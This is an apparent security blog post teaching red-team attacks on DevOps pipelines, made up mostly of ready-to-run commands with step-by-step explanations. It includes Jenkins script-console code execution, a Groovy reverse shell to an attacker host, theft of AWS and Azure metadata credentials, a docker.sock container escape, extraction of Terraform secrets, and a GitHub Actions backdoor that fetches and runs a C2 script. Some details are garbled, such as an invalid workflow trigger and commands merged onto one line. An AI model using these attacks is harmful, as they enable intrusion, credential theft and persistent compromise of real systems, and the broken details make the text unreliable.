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Introduction:
The convergence of development and operations (DevOps) has revolutionized software delivery, but it has also created a vast new attack surface. Red teaming these environments requires specialized knowledge of CI/CD tools, cloud-native services, and software supply chains to simulate realistic threats.
Learning Objectives:
- Understand the methodology for attacking a modern DevOps toolchain from reconnaissance to exfiltration.
- Master key exploitation techniques for common CI/CD components like Jenkins, GitHub Actions, and container registries.
- Learn credential extraction and lateral movement tactics within cloud and containerized environments.
You Should Know:
1. Initial Reconnaissance: Mapping the DevOps Attack Surface
The first phase involves discovering exposed DevOps assets. This goes beyond traditional web server scanning to include code repositories, build servers, and cloud management interfaces.
Command 1: Subdomain Enumeration with `subfinder`
subfinder -d target-company.com -o subdomains.txt
Step-by-step guide: This command uses the `subfinder` tool to passively discover subdomains associated with the target domain. The `-d` flag specifies the target domain, and `-o` writes the results to a file. Analysts then review this list for assets like git.target-company.com, jenkins.target-company.com, or cloud.build.target-company.com, which are prime targets for initial access.
Command 2: GitHub Repository Discovery with `gitrob`
gitrob -org target-company
Step-by-step guide: `gitrob` scans public GitHub organizations and members for repositories. It then analyzes the commit history for sensitive information like API keys, passwords, and cloud credentials. Running this helps identify accidentally exposed secrets in old commits, providing a direct foothold.
2. Initial Access: Compromising Version Control Systems
Gaining a position in the version control system is often the first major breach, allowing attackers to poison the software supply chain.
Command 3: Cloning a Git Repository
git clone https://github.com/target-company/app-repo.git cd app-repo
Step-by-step guide: This basic command copies a remote repository to the local machine. Once cloned, an attacker would meticulously review the `git log` and inspect configuration files (e.g., .git/config, package.json, pom.xml) for embedded credentials or dependencies that can be weaponized.
Command 4: Scanning for AWS Keys in Code
grep -r "AKIA[0-9A-Z]{16}" app-repo/
Step-by-step guide: This `grep` command recursively searches the cloned repository for AWS Access Key IDs, which follow a specific pattern (AKIA followed by 16 alphanumeric characters). Finding a valid key is a critical finding, as it can be used with the AWS CLI to probe for permissions and access cloud resources.
3. Weaponizing CI/CD: Exploiting Jenkins
Jenkins, a widely used automation server, is a high-value target. Misconfigured permissions can allow an attacker to execute arbitrary commands on the build nodes.
Command 5: Exploiting Jenkins Groovy Script Console via REST
curl -X POST 'http://jenkins.target-company.com/scriptText' \ --data 'script=println "whoami".execute().text'
Step-by-step guide: This `curl` command sends a POST request to the Jenkins Script Console endpoint. If access controls are weak, it executes the provided Groovy script, which in this case runs the system command `whoami` and returns the result. This confirms remote code execution (RCE).
Command 6: Creating a Reverse Shell from Jenkins
Command to be placed in the Groovy Script console:
String host="attacker-ip";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){ while(pi.available()>0) so.write(pi.read()); while(pe.available()>0) so.write(pe.read()); while(si.available()>0) po.write(si.read()); so.flush(); po.flush(); }
Step-by-step guide: This complex Groovy script establishes a reverse shell connection from the Jenkins build node back to the attacker’s machine. The attacker must have a netcat listener running (nc -lvnp 4444) to receive the connection, granting direct shell access.
4. Cloud Credential Theft: Targeting the Metadata Service
In cloud environments (AWS, Azure, GCP), applications often retrieve temporary credentials via a local metadata service. If an attacker gains code execution on a cloud instance, they can query this service.
Command 7: AWS IMDSv1 Credential Extraction
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
Step-by-step guide: The first command queries the AWS Instance Metadata Service (IMDS) to list the IAM role attached to the instance. The second command retrieves the temporary security credentials (Access Key, Secret Key, Token) for that role. These credentials can then be used with the AWS CLI to perform any actions permitted by the role’s policy.
Command 8: Azure Instance Metadata Service Query
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/&api-version=2018-02-01"
Step-by-step guide: This command requests an access token for the Azure Management API from the Azure IMDS. The `-H “Metadata:true”` header is required. The returned token can be used to interact with the Azure REST API, potentially allowing for further resource discovery and lateral movement.
5. Container Breakout: Escaping Docker Constraints
Once inside a container, the goal is to escape to the underlying host, which provides greater access and control.
Command 9: Checking for Docker Escape Primitives
cat /proc/1/cgroup docker ps -a ls -la /.dockerenv
Step-by-step guide: These commands help confirm you are in a container. Checking `/proc/1/cgroup` often shows “docker” in the path. The presence of `/.dockerenv` is a strong indicator. If the container is running with the `–privileged` flag or certain dangerous mounts (/var/run/docker.sock), escape becomes possible.
Command 10: Privileged Container Escape via `docket.sock`
From inside a container with /var/run/docker.sock mounted docker -H unix:///var/run/docker.sock run -it --privileged --pid=host alpine:latest nsenter -t 1 -m -u -n -i sh
Step-by-step guide: This command uses the Docker CLI from inside the container, communicating with the host’s Docker daemon via the mounted socket. It runs a new `alpine` container with `–privileged` flags and uses `nsenter` to break into the host’s namespaces (-t 1 targets the host’s init process), effectively escaping to the host.
6. Lateral Movement: Abusing Terraform State
Terraform state files can contain sensitive information about the entire infrastructure, including provider credentials and resource attributes.
Command 11: Extracting Secrets from Terraform State
terraform show -json terraform.tfstate | jq '.values.root_module.resources[] | select(.type == "aws_iam_access_key")'
Step-by-step guide: This command uses `terraform show` to output the state file in JSON format, which is then piped to `jq` for parsing. It searches for resources of type `aws_iam_access_key` and prints their sensitive values, which could be long-lived credentials created by the infrastructure code.
7. Persistence in DevOps: Backdooring GitHub Actions
Attackers can modify CI/CD workflows to maintain persistent access, ensuring their code runs with every commit.
Command 12: Malicious GitHub Action Workflow
.github/workflows/backdoor.yml name: "Backdoor Build" on: [bash] jobs: backdoor: runs-on: ubuntu-latest steps: - name: Beacon to C2 run: | curl -s http://c2-server.com/beacon.sh | bash
Step-by-step guide: This malicious YAML file, if committed to the repository, defines a GitHub Action that triggers on every push. It downloads and executes a shell script from an attacker-controlled command and control (C2) server. This provides a persistent callback mechanism that is difficult to detect without auditing workflow files.
What Undercode Say:
- The software supply chain is the new perimeter. Defending it requires shifting security left and implementing rigorous controls on every commit, pull request, and build.
- Identity is everything in the cloud. Hardening instance metadata services and enforcing the principle of least privilege on IAM roles and service accounts is non-negotiable.
The DO-RTA certification highlights a critical evolution in offensive security. It’s no longer sufficient to probe web applications and networks; modern red teams must be fluent in the languages of DevOps and cloud-native architecture. The attack paths are less about exploiting a single buffer overflow and more about chaining together misconfigurations across a dozen different services—from a leaked secret in a Git commit to a privileged role on a cloud compute instance. This requires a deep understanding of how development teams actually work and where their security blind spots typically lie. Defenders must adopt an “assume breach” mentality for their build environments, rigorously segmenting networks, mandating multi-factor authentication for all DevOps tools, and continuously scanning their own code and configurations for the very secrets and vulnerabilities they are trained to find in others.
Prediction:
The sophistication of software supply chain attacks will accelerate, moving beyond dependency confusion to direct, automated exploitation of CI/CD pipelines. We will see the emergence of self-propagating “wormable” attacks that can traverse from a developer’s compromised environment into production cloud infrastructure within minutes. This will force a paradigm shift in defense, leading to the widespread adoption of automated, policy-driven security gates within pipelines, the rise of “zero-trust” for build environments, and the mandatory use of secure, attested build platforms.
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IT/Security Reporter URL:
Reported By: Jesus Herbert – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
